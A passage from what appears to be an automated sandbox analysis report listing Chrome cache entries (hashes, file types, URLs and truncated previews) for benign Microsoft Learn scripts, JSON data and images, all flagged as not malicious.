Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	25422
Entropy (8bit):	5.151101794904936
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYHv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFr7:aHBQv11pOVqlh382/rIN1D
MD5:	B5C4D5CE538E3982A376EC2923192D6B
SHA1:	A1BD7A4345A58117D6201305E0B5CB893C827BAD
SHA-256:	5F999F0A104864DCE808453CEBB0B7291ADCDF2516E40011B0BB4E9ACCD71C0C
SHA-512:	87A71EF2621453B2DE11DA60E02EED762F9FFBAD9D7052CB95CD1FBB6311E8AE3E5D430FC2315AC3FC20A06E627EAD95FC5E4F5B0AA17206728120A4CA9FB6AA
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	downloaded
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
URL:	https://wcpstatic.microsoft.com/mscc/lib/v2/wcp-consent.js
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
URL:	https://learn.microsoft.com/static/third-party/MathJax/3.2.2/tex-mml-chtml.js
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-changes-complete.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
URL:	https://learn.microsoft.com/favicon.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
